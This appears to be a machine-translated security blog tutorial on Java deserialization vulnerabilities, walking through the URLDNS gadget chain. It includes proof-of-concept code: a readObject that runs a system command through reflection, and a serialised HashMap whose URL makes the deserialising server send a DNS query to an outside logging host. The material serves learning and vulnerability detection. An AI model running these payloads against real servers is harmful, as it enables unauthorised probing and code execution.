Java deserialization & URLDNS utilization chain

Posted by vex__ on Mon, 03 Jan 2022 03:40:11 +0100

Introduction to deserialization vulnerability

Why serialize and deserialize

Common serialization and deserialization protocols

XML is a common serialization and deserialization protocol, which has the advantages of cross machine and cross language,

SOAP (Simple Object Access protocol) is a widely used structured messaging protocol based on XML as serialization and deserialization protocol

JSON(Javascript Object Notation)

Protobuf

Why do security problems arise

As long as the server deserializes the data, the code in the readObject of the client passing class will be executed automatically, giving the attacker the ability to run the code on the server

Since the readObject in the passing class will execute the code again during deserialization, the problem may be in the following points

  • There is a problem with the readObject() method code itself,
  • There is a problem deserializing the content

Utilization form of hazardous parts

1. The readObject() override of the entry class directly calls the dangerous method

2. The entry class parameter contains a controllable class. This class has dangerous methods, which will be called when readObject()

3. The entry class parameter contains a controllable class, which calls other classes of dangerous methods, similar to a doll. It is called when readObject()

The above three situations have some common characteristics:

  • Entry class (deserialization class) source (override readObject parameter type, preferably provided with jdk)
  • Call chain gadget chain
  • Execute class sink (rce ssrf write file)

By analyzing and limiting the entry class, we may think of Map, HashMap and Hashtable. They all meet the above requirements for entry classes

Case 1:

Look directly at the example code to understand this situation. First, a Person must inherit Serializable

import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;

public class Person implements Serializable {
    public int id = 1;
    private String name = "BUTLER";

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    @Override
    public String toString() {
        return "Person{" +
                "id=" + id +
                ", name='" + name + '\'' +
                '}';
    }

    private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        s.defaultReadObject(); // Execute the default readObject() method
        String command = "calc";
        Class clazz = Class.forName("java.lang.Runtime");
        clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),command);
    }
}

Finally, the readObject is a fixed format, which uses the reflection class object Runtime to execute the shell

//Serialize.java
import java.io.*;

public class Serialize {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("butler.ser"));
        out.writeObject(obj);
    }
    public static void main(String[] args) throws IOException {
        serialize(new Person());
        System.out.println("Serialize Successful");
    }
}

//Unserialize.java
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Unserialize {
    public static Object unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("butler.ser"));
        Person obj = (Person) in.readObject();
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person obj = (Person) unserialize();
        System.out.println(obj.toString());
    }
}

Execute serialize Java and then execute serialize java. The final results are shown in the figure below:

URLDNS

URLDNS is a chain that we often use in java deserialization. It is usually used to detect whether there is a deserialization vulnerability. The tool ysoserial, a java deserialization artifact, uses the URLDNS chain to detect deserialization vulnerabilities. At the same time, it is also a chain that Xiaobai must learn about java deserialization vulnerabilities.

Why can URLDNS quickly detect anti sequence vulnerabilities? There are two reasons: 1 Rely only on native classes; 2. Unlimited jdk version

Test environment: JDK 1.8.0_ three hundred and eleven

Deserialization utilization chain

The following is a deserialization utilization chain. Why should we emphasize it here? DNS query will also be triggered when serializing URL, but our requirement is to detect deserialization vulnerability, so this involves avoiding serialization (explained later).

--HashMap#readObject()
   --HashMap#hash()
      --URL#hashcode()
    	--URLStreamHander#hashCode()
    	  --URLStreamHander#getHostAddress(u)

Using chain analysis

Analysis of deserialization utilization chain

  • The object we serialize is a HashMap object, so we directly look at it from the readObject() of HashMap
private void readObject(ObjectInputStream s)
    throws IOException, ClassNotFoundException {

    ObjectInputStream.GetField fields = s.readFields();

    // Read loadFactor (ignore threshold)
    float lf = fields.get("loadFactor", 0.75f);
    if (lf <= 0 || Float.isNaN(lf))
        throw new InvalidObjectException("Illegal load factor: " + lf);

    lf = Math.min(Math.max(0.25f, lf), 4.0f);
    HashMap.UnsafeHolder.putLoadFactor(this, lf);

    reinitialize();

    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0) {
        throw new InvalidObjectException("Illegal mappings count: " + mappings);
    } else if (mappings == 0) {
        // use defaults
    } else if (mappings > 0) {
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
            K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

At the end, it calls the hash() method

  • Then follow up the method of hash()
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Then key is called Hashcode () method. Key is the object of URL class

  • Method of URL object hashCode()
transient URLStreamHandler handler;	

private int hashCode = -1;

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

If the default value of hashcode attribute here is - 1, and DNS query is required, the hashcode value should be - 1. Then, the hashCode() method of URLStreamHander is used, and this is the key of the previous part

  • Then follow up the handler hashcode (this)
protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.   Make a DNS query
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}

This code will perform a DNS query, and the hashcode value after the query will no longer be - 1. If the hashcode value is - 1 during serialization, the DNS query will not be executed during deserialization, which is why we need to avoid it.

How to set the url of DNS query

Now that the anti sequence utilization chain has been clarified, we need to consider how to put the URL into the URL object and perform DNS query operation. In key In hashcode(), the key is the URL object. Sometimes, the key is taken from readobject()

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
    @SuppressWarnings("unchecked")
    K key = (K) s.readObject();
    @SuppressWarnings("unchecked")
    V value = (V) s.readObject();
    putVal(hash(key), key, value, false, false);
}

That is, the key is written from the serialized method writeobject(). HashMap also overrides the writeobject () method

private void writeObject(java.io.ObjectOutputStream s)
	throws IOException {
		int buckets = capacity();
		// Write out the threshold, loadfactor, and any hidden stuff
		s.defaultWriteObject();
		s.writeInt(buckets);
		s.writeInt(size);
		internalWriteEntries(s);
}

Follow in internalWriteEntries(s)

transient Node<K,V>[] table;

void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
    Node<K,V>[] tab;
    if (size > 0 && (tab = table) != null) {
        for (int i = 0; i < tab.length; ++i) {
            for (Node<K,V> e = tab[i]; e != null; e = e.next) {
                s.writeObject(e.key);
                s.writeObject(e.value);
            }
        }
    }
}

Both key and value are obtained from tab, and tab is obtained from table. If we want to set the table value of the HashMap object, we need to call its put method

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

Here we can find an interesting point. If the put method is used to set the key value here, because the default value of hashcode attribute in the URL object is - 1, a serialized DNS query will be performed. After the serialized DNS query, deserialization will not work. So here is the circumvention we mentioned earlier. Next, we will introduce how to serialize DNS circumvention.

Serialization DNS circumvention & POC writing

As mentioned earlier, if the hashcode value is not - 1, DNS queries will be performed. Then we do to avoid serializing DNS queries by default. There are many avoidance strategies for masters on the Internet, including reflection method and ysoserial. Compared with the former, the former is easy to understand and the latter is more ingenious. Here is the first method of reflection avoidance

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Serialize {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("butler.ser"));
        out.writeObject(obj);
        System.out.println("Serialize Successful");
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        //serialize(new Person());
        HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();

        URL url = new URL("http://nfpckt.dnslog.cn "); / / instantiate a URL object
        Class clazz = Class.forName("java.net.URL"); //Gets the reflection class object for the URL
        Field field = clazz.getDeclaredField("hashCode"); //Get hashcode property value object
        field.setAccessible(true); //Turn off security detection mechanism
        field.set(url,123); //The hashcode of the set url object is not - 1
        System.out.println(field.hashCode()); //Check whether the modification is successful
        hashMap.put(url,567); //Put the object url and any integer value in the hashMap
        field.set(url,-1); //put is successfully added. Change the hashcode value to - 1

        serialize(hashMap); //Serialize hashMap
    }
}

Some codes and effects of deserialization:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Unserialize {
    public static Object unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("butler.ser"));
        Object obj = in.readObject();
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //Person obj = (Person) unserialize();
        Object obj = unserialize();
        System.out.println(obj.toString());
    }
}

Finally, get the echo in DNS query:

The above is the way to avoid serialization echo through reflection. If you want to know the way to avoid ysoserial, you can refer to this blog. Deserialization of Java security - urldns & commons collections 1-7 deserialization chain analysis